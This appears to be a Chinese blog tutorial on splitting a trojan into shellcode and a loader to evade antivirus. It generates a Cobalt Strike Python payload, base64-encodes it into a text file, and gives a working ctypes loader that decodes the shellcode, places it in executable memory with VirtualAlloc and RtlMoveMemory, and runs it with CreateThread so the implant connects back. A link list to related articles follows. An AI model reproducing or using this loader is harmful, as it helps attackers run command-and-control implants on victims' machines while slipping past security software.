无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
金士镧(厦门)新材料有限公司33 分钟前
如何让PVC制品更安全?稀土抑烟剂助力安全防护
科技·安全·全文检索
云飞云共享云桌面5 小时前
三维设计办公资源如何共享集中和安全管控?
运维·服务器·数据库·安全·自动化·制造
EkihzniY5 小时前
配合式活体检测:让身份核验安全又便捷
安全
熙客5 小时前
使用springsecurity+mybatis+mysql是如何实现JWT登陆
安全·安全架构
TH88867 小时前
水陆安全监测仪:水域陆域的“安全哨兵”
安全
llxxyy卢8 小时前
SQL注入之SQLMAP绕过WAF(安全狗)
服务器·安全
红树林079 小时前
渗透测试之json_web_token(JWT)
网络协议·安全·web安全
云动雨颤9 小时前
网站被劫持后怎么恢复?
安全·dns
m0_7381207210 小时前
内网横向靶场——记录一次横向渗透(三)
开发语言·网络·安全·web安全·网络安全·php
codervibe13 小时前
协议欺骗工程实践:HTTP/FTP/Telnet/SSH 的伪装与实现要点
安全